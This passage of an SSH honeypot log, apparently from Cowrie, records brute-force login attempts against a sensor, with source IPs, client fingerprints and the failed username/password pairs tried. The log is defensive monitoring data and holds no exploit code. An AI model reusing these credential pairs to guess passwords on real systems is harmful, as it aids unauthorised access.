tp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:19:28.187424Z","src_ip":"210.183.21.53","session":"812f02079ef9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"azertyuiop","message":"login attempt [postgres/azertyuiop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:19:29.021260Z","src_ip":"210.183.21.53","session":"812f02079ef9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:19:30.226186Z","src_ip":"210.183.21.53","session":"812f02079ef9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"221.139.88.149","src_port":37516,"dst_ip":"159.203.135.109","dst_port":22,"session":"7352d54a09c6","protocol":"ssh","message":"New connection: 221.139.88.149:37516 (159.203.135.109:22) [session: 7352d54a09c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:19:47.070951Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:19:47.075317Z","src_ip":"221.139.88.149","session":"7352d54a09c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:19:47.266820Z","src_ip":"221.139.88.149","session":"7352d54a09c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sfserver","password":"sfserver","message":"login attempt [sfserver/sfserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:19:48.132524Z","src_ip":"221.139.88.149","session":"7352d54a09c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:19:49.476898Z","src_ip":"221.139.88.149","session":"7352d54a09c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":50422,"dst_ip":"159.203.135.109","dst_port":22,"session":"49ae9052ac83","protocol":"ssh","message":"New connection: 80.94.92.186:50422 (159.203.135.109:22) [session: 49ae9052ac83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:19:50.439928Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:19:50.463208Z","src_ip":"80.94.92.186","session":"49ae9052ac83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:19:50.657116Z","src_ip":"80.94.92.186","session":"49ae9052ac83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"sol","message":"login attempt [solana/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:19:51.365942Z","src_ip":"80.94.92.186","session":"49ae9052ac83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:19:52.563679Z","src_ip":"80.94.92.186","session":"49ae9052ac83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50684,"dst_ip":"159.203.135.109","dst_port":22,"session":"a2bcf178ffa4","protocol":"ssh","message":"New connection: 159.203.92.129:50684 (159.203.135.109:22) [session: a2bcf178ffa4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:20:03.666918Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:20:03.845591Z","src_ip":"159.203.92.129","session":"a2bcf178ffa4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:20:03.854274Z","src_ip":"159.203.92.129","session":"a2bcf178ffa4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"WL","password":"WL123","message":"login attempt [WL/WL123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:20:05.339113Z","src_ip":"159.203.92.129","session":"a2bcf178ffa4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:20:06.492495Z","src_ip":"159.203.92.129","session":"a2bcf178ffa4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.149.53.243","src_port":3413,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c710b39d012","protocol":"ssh","message":"New connection: 201.149.53.243:3413 (10.17.0.5:22) [session: 9c710b39d012]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:20:09.030021Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:20:09.050473Z","src_ip":"201.149.53.243","session":"9c710b39d012","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:20:09.116129Z","src_ip":"201.149.53.243","session":"9c710b39d012","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1q2w3e4r5t","message":"login attempt [user/1q2w3e4r5t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:20:09.407707Z","src_ip":"201.149.53.243","session":"9c710b39d012","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:20:10.477408Z","src_ip":"201.149.53.243","session":"9c710b39d012","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.183.21.53","src_port":59468,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa5967a2cfb1","protocol":"ssh","message":"New connection: 210.183.21.53:59468 (10.17.0.5:22) [session: aa5967a2cfb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:20:20.758623Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:20:20.763697Z","src_ip":"210.183.21.53","session":"aa5967a2cfb1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:20:20.962483Z","src_ip":"210.183.21.53","session":"aa5967a2cfb1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"woaiwojia","message":"login attempt [root/woaiwojia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:20:21.787466Z","src_ip":"210.183.21.53","session":"aa5967a2cfb1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.217.149.19","src_port":41000,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb954ddc5c01","protocol":"ssh","message":"New connection: 85.217.149.19:41000 (10.17.0.5:22) [session: bb954ddc5c01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:20:22.305324Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:20:22.311523Z","src_ip":"85.217.149.19","session":"bb954ddc5c01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bc3aee897af7d3feb9fc37b89c7d15c9","hasshAlgorithms":"curve25519-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,curve25519-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","curve25519-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bc3aee897af7d3feb9fc37b89c7d15c9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:20:22.343720Z","src_ip":"85.217.149.19","session":"bb954ddc5c01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:20:22.369636Z","src_ip":"85.217.149.19","session":"bb954ddc5c01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:20:22.993556Z","src_ip":"210.183.21.53","session":"aa5967a2cfb1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":53790,"dst_ip":"159.203.135.109","dst_port":22,"session":"971b9e9b41df","protocol":"ssh","message":"New connection: 159.203.92.129:53790 (159.203.135.109:22) [session: 971b9e9b41df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:20:45.375833Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:20:45.382677Z","src_ip":"159.203.92.129","session":"971b9e9b41df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:20:45.386237Z","src_ip":"159.203.92.129","session":"971b9e9b41df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"WWW","password":"WWW","message":"login attempt [WWW/WWW] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:20:45.464773Z","src_ip":"159.203.92.129","session":"971b9e9b41df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"221.139.88.149","src_port":52978,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed0931b1ee26","protocol":"ssh","message":"New connection: 221.139.88.149:52978 (159.203.135.109:22) [session: ed0931b1ee26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:20:45.552699Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:20:45.557362Z","src_ip":"221.139.88.149","session":"ed0931b1ee26","protocol":"ssh"}
